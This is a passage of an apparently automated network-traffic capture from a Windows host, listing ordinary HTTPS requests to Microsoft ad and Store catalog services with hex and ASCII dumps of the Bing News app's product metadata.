68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

135 192.168.2.3 49962 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:02 UTC 10855 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=12
8000000001392709&tid=700342084&reqasid=8ce9b9da1ac94116b168bdc7e1c8c748&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&bSrc=i.t&time=20220513T234233Z&asid=7bec372b597946cbad28f765598f20a1&eid= HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:43:03 UTC 10891 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: cdedfebe-f510-4e15-9afa-5364be2c90b1
Date: Fri, 13 May 2022 14:43:02 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

136 192.168.2.3 49963 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:03 UTC 10891 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Microsoft.BingNews_8wekyb3d8bbwe&marke
t=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: z+KSf1Xo7ECIHjeD.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-05-13 14:43:03 UTC 10892 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 13 May 2022 14:43:03 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: ed333d11-cf8d-40d7-bc3a-8fb33c6c3287
MS-RequestId: 4a71d360-9b07-4991-8838-ab0c48bc3b6d
MS-CV: z+KSf1Xo7ECIHjeD.0.2.4.888070761.0.1.888070761.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 5cdc8-dc2dd
Region: neu
Node: aks-bigcatrpns-32351330-vmss00000m
MS-DocumentVersions: 9WZDNCRFHVFW|4083
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2022-05-13 14:43:03 UTC 10892 IN Data Raw: 31 31 37 61 37 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 57 5a 44 4e 43 52 46 48 56 46 57 22 5d 2c 22 
48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 35 2d 30 35 54 31 37 3a 33 31 3a 34 35 2e 39 34 39 30 31 30 
34 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 2
2 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 36 30 38 30 32 39 36 34 33 37 35 
37 33 33 34 38 33 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 32 36 32 46 33 38 22 
Data Ascii: 117a7{"BigIds":["9WZDNCRFHVFW"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-05-05T1
7:31:45.9490104Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3060802964375733483","EISListingIdentifie
r":null,"BackgroundColor":"#262F38"

2022-05-13 14:43:03 UTC 10896 IN Data Raw: 64 36 63 35 61 31 2e 64 66 39 63 34 35 65 66 2d 35 61 63 36 2d 34 64 32 66 2d 62 35 32 39 2d 38 64 65 66 
65 64 37 30 34 64 31 63 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 35 39 37 38 
31 36 30 37 33 35 39 39 38 32 31 32 36 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 
75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 32 36 32 46 33 38 22 2c 22 43 61 70 74 69 6f 6e 
22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 37 32 38 2c 22 46 6f 72 65 67 72 6f 75 6e 64 
43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 38 38 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 
22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 
Data Ascii: d6c5a1.df9c45ef-5ac6-4d2f-b529-8defed704d1c","Width":66},{"FileId":"3059781607359982126","EISListi
ngIdentifier":null,"BackgroundColor":"#262F38","Caption":"","FileSizeInBytes":1728,"ForegroundColor":"","Height":88,"Ima
gePositionInfo":"","ImagePurpose":"Ti

2022-05-13 14:43:03 UTC 10900 IN Data Raw: 35 34 32 34 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 
30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 
3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 41 4a 6b 79 
42 55 41 30 37 6e 63 46 2b 53 6c 36 76 7a 61 65 5a 74 33 74 41 4a 45 32 2f 35 31 65 66 34 2b 41 58 51 54 45 59 67 59 
3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 
2f 69 6d 61 67 65 2f 61 70 70 73 2e 33 39 31 36 38 2e 39 30 30 37 31 39 39 32 36 36 32 34 37 38 34 36 2e 62 35 63 34 3
9 39 35 35 2d 65 30 35 30 2d 34 35 35 33 2d 62 38 65 34 2d 30 65 
Data Ascii: 5424,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImage
SHA256Hash":"AJkyBUA07ncF+Sl6vzaeZt3tAJE2/51ef4+AXQTEYgY=","Uri":"//store-images.s-microsoft.com/ima
ge/apps.39168.9007199266247846.b5c49955-e050-4553-b8e4-0e

2022-05-13 14:43:03 UTC 10904 IN Data Raw: 43 4d 22 2c 22 43 56 22 2c 22 4b 59 22 2c 22 43 46 22 2c 22 54 44 22 2c 22 54 4c 22 2c 22 44 4a 22 2c 22 
44 4d 22 2c 22 44 4f 22 2c 22 45 43 22 2c 22 53 56 22 2c 22 47 51 22 2c 22 45 52 22 2c 22 45 54 22 2c 22 46 4b 22 2c 
22 46 4f 22 2c 22 46 4a 22 2c 22 47 46 22 2c 22 50 46 22 2c 22 54 46 22 2c 22 47 41 22 2c 22 47 4d 22 2c 22 47 45 22 2
c 22 47 48 22 2c 22 47 49 22 2c 22 47 4c 22 2c 22 47 44 22 2c 22 47 50 22 2c 22 47 55 22 2c 22 47 47 22 2c 22 47 4e 
22 2c 22 47 57 22 2c 22 47 59 22 2c 22 48 54 22 2c 22 48 4d 22 2c 22 48 4e 22 2c 22 41 5a 22 2c 22 42 53 22 2c 22 42 
42 22 2c 22 42 59 22 2c 22 42 5a 22 2c 22 42 4a 22 2c 22 42 4d 22 2c 22 42 54 22 2c 22 4b 4d 22 2c 22 43 47 22 2c 22 
43 44 22 2c 22 43 4b 22 2c 22 43 58 22 2c 22 43 43 22 2c 22 43 49 22 2c 22 
Data Ascii: CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF"
,"GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ"
,"BM","BT","KM","CG","CD","CK","CX","CC","CI","

2022-05-13 14:43:03 UTC 10908 IN Data Raw: 54 22 2c 22 51 41 22 2c 22 52 4f 22 2c 22 52 55 22 2c 22 53 41 22 2c 22 52 53 22 2c 22 53 47 22 2c 22 53 4b 
22 2c 22 53 49 22 2c 22 5a 41 22 2c 22 4b 52 22 2c 22 45 53 22 2c 22 53 45 22 2c 22 43 48 22 2c 22 54 57 22 2c 22 54 
48 22 2c 22 54 54 22 2c 22 54 4e 22 2c 22 54 52 22 2c 22 55 41 22 2c 22 41 45 22 2c 22 47 42 22 2c 22 56 4e 22 2c 22 
59 45 22 2c 22 4c 59 22 2c 22 4c 4b 22 2c 22 55 59 22 2c 22 56 45 22 2c 22 41 46 22 2c 22 41 58 22 2c 22 41 4c 22 2c 2
2 41 53 22 2c 22 41 4f 22 2c 22 41 49 22 2c 22 41 51 22 2c 22 41 47 22 2c 22 41 4d 22 2c 22 41 57 22 2c 22 42 4f 22 2c 
22 42 51 22 2c 22 42 41 22 2c 22 42 57 22 2c 22 42 56 22 2c 22 49 4f 22 2c 22 42 4e 22 2c 22 42 46 22 2c 22 42 49 22 
2c 22 4b 48 22 2c 22 43 4d 22 2c 22 43 56 22 2c 22 4b 59 22 2c 22 43 
Data Ascii: T","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA",
"AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW",
"BV","IO","BN","BF","BI","KH","CM","CV","KY","C

2022-05-13 14:43:03 UTC 10912 IN Data Raw: 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 
65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 39 63 33 65 38 63 61 64 2d 36 37 30 32 2d 34 38 34 32 2d 38 66 
36 31 2d 62 38 62 33 33 63 63 39 63 61 66 31 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 
6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 3
2 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 
3a 32 38 31 34 37 35 30 37 35 34 32 37 35 33 32 38 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 35 
7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 
Data Ascii: .70_neutral_~_8wekyb3d8bbwe\",\"content.productId\":\"9c3e8cad-6702-4842-8f61-b8b33cc9caf1\",\"con
tent.targetPlatforms\":[{\"platform.maxVersionTested\":2814750890000384,\"platform.minVersion\":28147507542753
28,\"platform.target\":5}],\"content.type\":7,\

2022-05-13 14:43:03 UTC 10916 IN Data Raw: 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 30 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 
74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 
3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 4e 65 77 73 20 26 20 77 65 
61 74 68 65 72 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 74 68 69 72 64 5c 22 3a 5c 22 4e 65 77 73 5c 22 2c 5c 22 6f 
70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 
76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 5
2 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 
Data Ascii: 4,\"platform.target\":0}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"News & weath
er\",\"category.third\":\"News\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":false},\"policy2\":{\"ageRatin
g\":1,\"optOut.DV

2022-05-13 14:43:03 UTC 10920 IN Data Raw: 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 
22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 
6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 
6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 3
8 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 
6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 
2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 
Data Ascii: alse},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},
{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"le
vel\":68,\"system
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2022-05-13 14:43:03 UTC 10924 IN Data Raw: 77 73 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 
22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 
79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 
6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 
22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 7
4 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 
7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 
Data Ascii: ws\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":1,\"optOut.D
VR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"
level\":27,\"syst

2022-05-13 14:43:03 UTC 10928 IN Data Raw: 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 37 39 31 32 33 37 32 2c 22 4d 61 78 49 6e 73 
74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 
61 70 70 78 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 
6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 
79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 
63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 32 2e 30 2e 30 2e 33 32 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 
38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 63 31 38 
Data Ascii: DownloadSizeInBytes":7912372,"MaxInstallSizeInBytes":null,"PackageFormat":"appx","PackageFamilyNam
e":"Microsoft.BingNews_8wekyb3d8bbwe","MainPackageFamilyNameForDlc":null,"PackageFullName":"Microsof
t.BingNews_2.0.0.320_x86__8wekyb3d8bbwe","PackageId":"c18

2022-05-13 14:43:03 UTC 10932 IN Data Raw: 75 72 63 65 53 65 74 49 64 73 22 3a 5b 22 31 22 5d 2c 22 53 74 61 72 74 44 61 74 65 22 3a 22 31 37 35 33 
2d 30 31 2d 30 31 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 22 7d 2c 22 4c 61 73 74 4d 6f 64 69 66 69 65 
64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 35 2d 30 35 54 31 37 3a 33 31 3a 34 39 2e 36 30 37 36 33 37 30 5a 22 2c 22 
4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 
22 47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 50 49 46 69 6c 74 65 72 22 3a 
7b 22 45 78 63 6c 75 73 69 6f 6e 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 5d 2c 22 49 6e 63 6c 75 73 69 6f 6e 50 72 6f 70 
65 72 74 69 65 73 22 3a 5b 5d 7d 2c 22 50 72 69 63 65 22 3a 7b 22 43 75 
Data Ascii: urceSetIds":["1"],"StartDate":"1753-01-01T00:00:00.0000000Z"},"LastModifiedDate":"2022-05-05T17:31
:49.6076370Z","Markets":["US"],"OrderManagementData":{"GrantedEntitlementKeys":[],"PIFilter":{"ExclusionProperties":
[],"InclusionProperties":[]},"Price":{"Cu

2022-05-13 14:43:03 UTC 10936 IN Data Raw: 64 65 20 66 6f 72 20 6e 69 67 68 74 74 69 6d 65 20 72 65 61 64 69 6e 67 2e 20 54 68 65 20 61 70 70 20 69 
73 20 66 72 65 65 20 74 6f 20 64 6f 77 6e 6c 6f 61 64 20 61 6e 64 20 75 73 65 20 77 69 74 68 20 6e 6f 20 6c 69 6d 69 74 
73 20 6f 6e 20 68 6f 77 20 6d 61 6e 79 20 61 72 74 69 63 6c 65 73 20 6f 72 20 76 69 64 65 6f 73 20 79 6f 75 20 63 61 6e 
20 76 69 65 77 2e 5c 6e 5c 6e 41 6d 6f 6e 67 20 74 68 65 20 74 6f 70 20 6e 65 77 73 20 70 72 6f 76 69 64 65 72 73 20 70 
61 72 74 6e 65 72 69 6e 67 20 77 69 74 68 20 4d 69 63 72 6f 73 6f 66 74 20 4e 65 77 73 3a 5c 6e c2 a0 5c 6e 4e 65 77 
73 2c 20 70 6f 6c 69 74 69 63 73 20 61 6e 64 20 6f 70 69 6e 69 6f 6e 3a 20 54 68 65 20 57 61 73 68 69 6e 67 74 6f 6e 20 
50 6f 73 74 2c 20 55 53 41 20 54 4f 44 41 59 2c 20 43 42 53 20 
Data Ascii: de for nighttime reading. The app is free to download and use with no limits on how many articles or videos 
you can view.\n\nAmong the top news providers partnering with Microsoft News:\n\nNews, politics and opinion: The 
Washington Post, USA TODAY, CBS 

2022-05-13 14:43:03 UTC 10940 IN Data Raw: 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 
22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 
6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 
36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 7
4 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 
6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 
4e 43 52 46 48 56 46 57 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 
Data Ascii: temId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\
"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"
9WZDNCRFHVFW","WuBundleId":

2022-05-13 14:43:03 UTC 10944 IN Data Raw: 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 46 48 56 46 57 22 2c 
22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 36 63 35 38 36 37 63 31 2d 65 38 37 61 2d 34 38 61 39 2d 61 39 34 62 2d 65 
39 66 64 63 62 61 61 63 32 33 38 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 65 61 61 66 32 63 65 33 2d 64 
35 61 33 2d 34 61 35 39 2d 61 65 33 31 2d 32 37 36 66 62 63 34 34 61 37 63 64 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 
69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 
77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 
61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 
Data Ascii: ntData":{"ProductId":"9WZDNCRFHVFW","WuBundleId":"6c5867c1-e87a-48a9-a94b-e9fdcbaac238",
"WuCategoryId":"eaaf2ce3-d5a3-4a59-ae31-276fbc44a7cd","PackageFamilyName":"Microsoft.BingNews_8wekyb
3d8bbwe","SkuId":"0011","Content":null,"PackageFeatures":null}},{"A

2022-05-13 14:43:03 UTC 10948 IN Data Raw: 31 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 
6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 
3a 22 41 70 70 65 78 4e 65 77 73 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 61 72 6d 22 2c 22 
78 38 36 22 2c 22 78 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 
69 65 6e 74 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 6
9 7a 65 49 6e 42 79 74 65 73 22 3a 34 30 37 39 32 36 30 36 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 
79 74 65 73 22 3a 33 35 36 39 36 36 34 30 2c 22 50 61 63 6b 61 67 65 
Data Ascii: 1","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"AppexNews"}],"Architectures":[
"arm","x86","x64"],"Capabilities":["internetClient"],"ExperienceIds":[],"MaxDownloadSizeInBytes":40792606,"MaxInstallSiz
eInBytes":35696640,"Package

2022-05-13 14:43:03 UTC 10952 IN Data Raw: 22 2c 22 49 44 5f 52 45 53 4f 4c 55 54 49 4f 4e 5f 57 58 47 41 22 2c 22 49 44 5f 52 45 53 4f 4c 55 54 49 4f 4e 
5f 48 44 37 32 30 50 22 2c 22 49 44 5f 46 4e 43 54 4e 4c 5f 53 49 4c 56 45 52 4c 49 47 48 54 5f 46 52 41 4d 45 57 4f 52 
4b 22 2c 22 49 44 5f 46 4e 43 54 4e 4c 5f 50 45 52 49 4f 44 49 43 42 41 43 4b 47 52 4f 55 4e 44 41 47 45 4e 54 22 2c 22 
49 44 5f 46 4e 43 54 4e 4c 5f 52 45 53 4f 55 52 43 45 49 4e 54 45 4e 53 49 56 45 42 41 43 4b 47 52 4f 55 4e 44 41 47 45 
4e 54 22 2c 22 49 44 5f 43 41 50 5f 4e 45 54 57 4f 52 4b 49 4e 47 22 2c 22 49 44 5f 43 41 50 5f 4d 45 44 49 41 4c 49 42 
5f 50 4c 41 59 42 41 43 4b 22 2c 22 49 44 5f 43 41 50 5f 53 45 4e 53 4f 52 53 22 2c 22 49 44 5f 43 41 50 5f 57 45 42 42 
52 4f 57 53 45 52 43 4f 4d 50 4f 4e 45 4e 54 22 2c 22 
Data Ascii: ","ID_RESOLUTION_WXGA","ID_RESOLUTION_HD720P","ID_FNCTNL_SILVERLIGHT_FRAMEWORK
","ID_FNCTNL_PERIODICBACKGROUNDAGENT","ID_FNCTNL_RESOURCEINTENSIVEBACKGROUNDAGEN
T","ID_CAP_NETWORKING","ID_CAP_MEDIALIB_PLAYBACK","ID_CAP_SENSORS","ID_CAP_WEBBR
OWSERCOMPONENT","
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2022-05-13 14:43:03 UTC 10956 IN Data Raw: 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 34 30 65 30 64 66 65 38 2d 64 31 63 39 2d 34 
35 61 65 2d 61 37 39 36 2d 64 30 32 33 64 31 63 30 32 66 32 35 2d 58 36 34 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 
22 3a 32 30 30 30 32 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 7
3 74 65 64 22 3a 31 36 38 38 38 35 38 34 35 30 32 36 34 30 36 34 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 31 36 38 
38 38 35 38 34 35 30 32 36 34 30 36 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 57 
69 6e 64 6f 77 73 38 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 
22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 
Data Ascii: 8bbwe","PackageId":"40e0dfe8-d1c9-45ae-a796-d023d1c02f25-X64","PackageRank":20002,"Platf
ormDependencies":[{"MaxTested":1688858450264064,"MinVersion":1688858450264064,"PlatformName":"Window
s.Windows8x"}],"PlatformDependencyXmlBlob":"{\"blob.version\":16888

2022-05-13 14:43:03 UTC 10960 IN Data Raw: 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 
74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 
32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 
